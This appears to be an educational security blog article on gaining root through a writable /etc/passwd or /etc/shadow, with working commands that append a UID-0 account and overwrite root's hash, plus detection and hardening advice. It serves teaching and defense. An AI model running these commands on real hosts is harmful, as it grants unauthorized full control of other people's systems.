Writable /etc/passwd and Shadow File Escalation

Writable /etc/passwd and Shadow File Escalation - article cover image Linux Privesc
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

/etc/passwd is the canonical Linux user database — one line per account, holding the username, UID, GID, home directory, and login shell. On any modern system the password hash itself normally lives in /etc/shadow, readable only by root, with /etc/passwd‘s password field set to x as a pointer. But the kernel’s authentication stack (PAM, getpwnam/getspnam) still honors a legacy fallback: if /etc/passwd contains a real crypt hash in the password field instead of x, and /etc/shadow has no corresponding entry, the system authenticates against the hash stored directly in /etc/passwd. Combine that legacy behavior with a file that is writable by an unprivileged user, and the escalation path is immediate: write a new line with UID 0 and a hash you control, and su into it.

This is one of the oldest and most mechanical privilege-escalation techniques in Linux, and it remains relevant because the precondition — /etc/passwd or /etc/shadow being writable by a non-root user — keeps recurring in the wild through misapplied chmod/chown during troubleshooting, backup and restore scripts that recreate the file with loose permissions, container images that bake in a world-writable copy, NFS exports with no_root_squash combined with local writable mounts, or an over-permissive ACL left behind by a configuration-management run. Whenever it occurs, the impact is total: any local user, even one with almost no other access, becomes root in a single command.

Attack Prerequisites

The technique is exploitable only when one specific condition holds:

  • Write access to /etc/passwd by the attacker’s user — either the file itself is group/world-writable, or the attacker controls a process/cron job that runs as root and writes attacker-influenced content into it.
  • Alternatively, write access to /etc/shadow — if /etc/passwd is correctly locked down but /etc/shadow is writable, the attacker can instead overwrite the hash for an existing UID-0 account (typically root) or clear it entirely.
  • A way to generate or already know a valid crypt hash for the password the attacker wants to log in with, e.g. via openssl passwd or mkpasswd.
  • Some path to actually use the new/modified account — a local shell (su), console/SSH login if permitted for the new UID, or sudo -u if policy allows targeting arbitrary UIDs.

How It Works

Historically, Unix stored the password hash directly in /etc/passwd, which is world-readable by design (usernames and shells need to be public for tools like ls -l to resolve UIDs to names). That readability became a cracking risk once offline dictionary attacks got fast, so shadow passwords were introduced: the hash moves to /etc/shadow (mode 640 or 600, root-owned), and /etc/passwd‘s password field is replaced with a placeholder — x on Linux (glibc/shadow-utils), meaning “look in /etc/shadow“, or */! meaning “this account cannot log in with a password.” Critically, PAM’s Unix authentication module still supports the old format for backward compatibility: getpwnam(3) and the PAM stack check whether the password field in /etc/passwd is a placeholder or an actual crypt string, and if it looks like a real hash, authentication proceeds against *that* value without ever consulting /etc/shadow.

UID 0 is what actually grants root — not the username root. The kernel and every access-control check operate on the numeric UID, and /etc/passwd is a plain, unauthenticated text file the kernel trusts implicitly at parse time. Nothing stops an attacker from appending a second line with a different username but UID 0 and GID 0 — the system will treat that account as fully equivalent to root the moment it authenticates, because getpwuid(0) and all the UID-based permission checks in the kernel see identical privilege regardless of which line in /etc/passwd produced that UID.

The same idea works against /etc/shadow directly when it, rather than /etc/passwd, is the writable file: overwrite the hash field for the existing root entry (leaving /etc/passwd‘s x placeholder untouched) with a hash generated locally, and su root immediately authenticates with the new password. This variant is arguably stealthier since it does not add a new, conspicuous UID-0 line to /etc/passwd.

Vulnerable Code / Configuration

The bug is a file-permission misconfiguration, not application code — /etc/passwd should always be mode 644, owned by root:root, and /etc/shadow mode 640 or 600, owned by root:shadow (or root:root depending on distro). A vulnerable state looks like this:

ls -l /etc/passwd /etc/shadow
# -rw-rw-rw- 1 root root  2210 Jul 12 10:03 /etc/passwd   <- VULNERABLE: world-writable
# -rw-r----- 1 root shadow 1180 Jul 12 10:03 /etc/shadow  <- correctly locked down
Bash

The equally dangerous variant is /etc/shadow itself being writable while /etc/passwd looks fine at a glance:

ls -l /etc/shadow
# -rw-rw-r-- 1 root shadow 1180 Jul 12 10:03 /etc/shadow  <- VULNERABLE: group-writable

id
# uid=1000(user) gid=1000(user) groups=1000(user),42(shadow)  <- attacker in shadow group
Bash

A common real-world root cause is a deployment or backup script run as root that recreates the file without preserving the umask/permissions, or a container Dockerfile layer that copies in a passwd file with loose bits:

# VULNERABLE Dockerfile snippet
COPY passwd /etc/passwd
RUN chmod 666 /etc/passwd   # left in for local dev convenience, never removed
Dockerfile

Walkthrough / Exploitation

Always check writability on both files before assuming the technique applies — the attacker’s effective UID/GID must actually satisfy the permission bits:

ls -l /etc/passwd /etc/shadow
id
# Confirm the current user (or a group it belongs to) has write bits set on
# the target file, e.g. world-writable /etc/passwd or group-writable
# /etc/shadow with membership in the owning group.
Bash

Generate a crypt hash for a password the attacker knows, using openssl passwd (MD5-crypt or, on newer OpenSSL, SHA-512):

openssl passwd -1 -salt xyz P@ssw0rd123
# $1$xyz$8mE4v.gVR7sVKgN1olp5Y1
Bash

Append a new UID-0, GID-0 account to /etc/passwd with that hash directly in the password field, then switch to it — no /etc/shadow entry is required for this account, since PAM falls back to the hash in /etc/passwd when there is no matching shadow line:

echo 'root2:$1$xyz$8mE4v.gVR7sVKgN1olp5Y1:0:0:root:/root:/bin/bash' >> /etc/passwd
su root2
# Password: P@ssw0rd123
id
# uid=0(root) gid=0(root) groups=0(root)
Bash

If instead /etc/shadow is the writable file, overwrite the existing root line’s hash field (second colon-delimited field) in place, leaving the rest of the line intact, then authenticate as root normally:

grep '^root:' /etc/shadow
# root:!:19500:0:99999:7:::

sed -i 's|^root:[^:]*:|root:$1$xyz$8mE4v.gVR7sVKgN1olp5Y1:|' /etc/shadow
su root
# Password: P@ssw0rd123
Bash

Note: An alternative that avoids leaving an obvious extra password hash is to set the new UID-0 account’s shell to a binary that does not need a password at all and set the password field to an empty string (::) if PermitEmptyPasswords/PAM config allows blank-password logins — though in most modern configurations blank passwords are refused and adding a known hash is more reliable.

Opsec: Adding a UID-0 line to /etc/passwd is one of the most heavily signatured local-persistence techniques there is — file-integrity monitoring, EDR, and even basic auditd watches on /etc/passwd and /etc/shadow will flag it immediately. Overwriting the existing root hash in /etc/shadow is marginally quieter since the file is not growing a new line, but both actions are trivially detected by any host with write auditing enabled on authentication files.

Detection and Defense

This class of bug is entirely preventable with correct baseline permissions and monitoring:

  • Enforce correct permissions: /etc/passwd root-owned, mode 644; /etc/shadow root-owned (or root:shadow), mode 640 or 600. Audit these on every host as part of baseline configuration checks.
  • File integrity monitoring (FIM) on /etc/passwd, /etc/shadow, /etc/group, and /etc/gshadow — tools like AIDE, Tripwire, or auditd’s -w /etc/passwd -p wa rules catch any modification immediately.
  • Alert on new UID-0 accounts — any line in /etc/passwd with a second field (UID) of 0 besides the canonical root entry should page someone; this is a near-zero-false-positive detection.
  • Review deployment/backup tooling and container base images for scripts or Dockerfile steps that recreate or chmod these files with loose permissions, and remove any left-in debugging chmod 666/777 steps.
  • Restrict no_root_squash NFS exports and any shared mount that could let a remote, lower-trust host write to a local system’s /etc directly.

Real-World Impact

Writable /etc/passwd//etc/shadow is a perennial finding in configuration-review and internal penetration tests, and is one of the first checks in privilege-escalation enumeration scripts such as linpeas.sh, LinEnum, and unix-privesc-check, precisely because it is cheap to check and, when present, guarantees full compromise with no further work. It also shows up as a secondary bug chained from unrelated vulnerabilities — a path-traversal or arbitrary-file-write bug in a web application running as root, or a misconfigured backup job, can be turned into full root by targeting /etc/passwd as the write destination even when no direct shell access exists yet.

Conclusion

A writable /etc/passwd or /etc/shadow collapses the entire Linux authentication model to a single unauthenticated text-file write, because the kernel and PAM ultimately trust whatever UID and hash those files contain. The fix is unglamorous but non-negotiable: correct ownership and permissions on authentication files, file-integrity monitoring that alerts on any change, and hard alerting on new UID-0 accounts — baseline hygiene that turns what would otherwise be an instant, silent root compromise into an immediately detected one.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL